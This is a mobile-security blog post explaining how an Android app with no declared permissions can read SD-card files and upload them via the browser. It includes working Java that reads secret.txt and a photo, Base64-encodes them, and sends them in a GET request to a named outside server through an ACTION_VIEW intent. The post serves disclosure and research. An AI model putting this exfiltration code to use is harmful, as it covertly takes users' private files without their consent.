Bypassing The Android Permission Model

Android Permission Mystery

Android permissions are based on UNIX permission model, but the catch here is there exists certain APIs provided by the Android Platform itself which allows us to communicate with each other bypassing the android permission model.

What are Android Permissions?

 

If you ever tried to create an Android Application, or if you ever had decompiled an Android application, you will certainly notice that there exists a file named AndroidManifest.xml
This file contains the application related properties, such as the Application Name, Application Package name, Permission required by the Application, etc.

For this Article we are more interested in the Permission part of the manifest file.

These permission tags looks like:

<uses-permission android:name="android.permission.INTERNET" />

The above tag states that the application requires a permission to access INTERNET. While installing the application, the user will get a screen similar to

Screen_Shot_2013_11_23_at_3_06_05_AM-4

Figure 1: App having INTERNET permission only.

Now imagine an application having these many permissions, while you try to install the application from the google play store.

Apps having lot of permission

Figure 2: App having lots of permissions

At the same time you find another similar application found in another AppMarket. Below is the screen of the application.

No Permission APPLICATION

Figure 3: App having no permissions at all

Please provide in the poll below, what application will you be trusting more?

surveys

As you can see from the result, majority guys will support Application having NO permission, which seems safe for now !
Before we go into how we can bypass the permission and build a malicious application, let me elaborate more about the permission model.

In UNIX the user model system consists of the following factors:

  • User ID - Each application has a unique User ID
  • Group ID - Each User ID has a unique Group ID, and this Group ID may belong to members of other GroupID
  • Groups - Each Group ID belongs to certain groups such as inet for internet, sdcard_rw for External storage read-write, etc.

To explain the above fact, we can see in Figure 4 how the application shown in Figure 2 looks like in unix permission model.

Screen_Shot_2013_11_23_at_10_45_06_AM-4

Figure 4: Application with many permission are associated with many groups

If we now install the application with no permission which was shown in Figure 3 and do the same, we will get something like the image below.

Screen_Shot_2013_11_23_at_10_52_43_AM-4Screen_Shot_2013_11_23_at_10_52_43_AM-4

Figure 5: Application with no permission are associated with no groups

So now we have seen, how the uses-permission tag determines during application installation, which are the UNIX groups it needs to be associated with, so that it can perform respective stuffs being a member of the group, which gives you permission to do so.

Bypassing the Permission model

Malicious application needs the following structure to upload data to a remote server.

Screen_Shot_2013_11_23_at_11_36_55_AM-4

Figure 6: Flow diagram of a malicious Application

Prior to Android version 4.1 (JellyBean) there is no enforced permission to read files from SD-Card. You will be surprised that even after Android version 4.1 there still is no enforced permission to read files from SD-Card, but we can enforce the permission explicitly from the Developer option.

Enforcing permission from Developer options

Figure 7: Enforcing permission from Developer options.

By default this option is never checked, So a malicious Application can actually read any files from the SD-Card storage.

UPDATE: Thanks Kyle Osborn for pointing out, from API 19 (Android 4.4) onwards, permission to read from SD-Card are Enforced, we need to use

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

You can visit by clicking here  for more information.

What about Sending the files to a remote server?

To send a file to a remote server, we take the help of Android Browser, which requires no permission at all to send it to remote server !
To call the browser with specified url, we use the following code:

Intent(Intent.ACTION_VIEW,Uri.parse("http://google.com/"));

This opens up the browser and point it to redirect it to http://google.com ! This method doesnot require any INTERNET permissions.

The problem remains how can we send a file to the remote server using browser?

This can be achieved by using GET method to upload file in the server. The file can be encoded to Base64 encoding, which is binary-to-text encoding schemes that represent binary data in an ASCII string format.

In JAVA we write the following code to get a text file which is stored in /mnt/sdcard/secret.txt:

        StringBuffer sb = new StringBuffer("");
String line = "";
String NL = System.getProperty("line.separator");
String str = "cat /mount/sdcard/secret.txt";
Log.v("testing", str);

Process process = null;
try {
process = Runtime.getRuntime().exec(str);
} catch (IOException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
throw new RuntimeException(e);
}
// Reads stdout.
// NOTE: You can write to stdin of the command using
// process.getOutputStream().

 

BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
int read;
char[] buffer = new char[4096];
StringBuffer output = new StringBuffer();
try {
while ((read = reader.read(buffer)) > 0) {
output.append(buffer, 0, read);
}
} catch (IOException e) {
throw new RuntimeException(e);
}
Log.v("testing33", str);
try {
reader.close();
} catch (IOException e) {
throw new RuntimeException(e);
}


// Waits for the command to finish.
try {
process.waitFor();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
}
String ret = output.toString();

But to get a binary file, for example a JPG file stored in /mnt/sdcard/profile.jpg we have the following snippets:

        final File file = new File("/mnt/sdcard/profile.jpg");
Uri uri = Uri.fromFile(file);
ContentResolver cr = getContentResolver();
Bitmap bMap=null;
try {
InputStream is = cr.openInputStream(uri);

bMap = BitmapFactory.decodeStream(is);

 

if (is != null) {
is.close();
}
} catch (Exception e) {
Log.e("Error reading file", e.toString());
}


ByteArrayOutputStream baos = new ByteArrayOutputStream();
bMap.compress(Bitmap.CompressFormat.JPEG, 100, baos);
byte[] b = baos.toByteArray();
String ret=Base64.encodeToString(b,Base64.DEFAULT);

This returns the Base64 encoded version of the image file. What about sending this file to a remote server?

Above codes contains the file data in a string called ret which needs to be uploaded to the server using GET method. This is the simplest part! The following snippet does the job beautifully:

startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("http://xysec.com/up1.php?u="+ret)));

You can then view the uploaded file at here (Currently Non-Functional)

Screen_Shot_2013_11_23_at_12_28_56_PM-4Screen_Shot_2013_11_23_at_12_28_56_PM-4

Figure 8: The malicious application flow

Conclusion

Malicious Application can use the following method, bypassing all the required permission to upload sensitive information from your phone to their remote server. If you have any related query, you can comment on my post, and I will get back to you promptly.

Community Give-away

The code for the Zero Permission Application can be found in my GIT Repository, The application is released under GPL License, please give proper credits and citation when you use the code :)

Published on May 28, 2019
Subho Halder
Written by Subho Halder
Subho Halder is the CISO and Co-Founder of Appknox. He started his career researching Mobile Security. Currently, he helps businesses to detect and fix security vulnerabilities. He has also detected critical loopholes in companies like Google, Facebook, Apple, and others

Questions?

Chat With Us

Using Other Product?

Switch to Appknox

2 Weeks Free Trial!

Get Started Now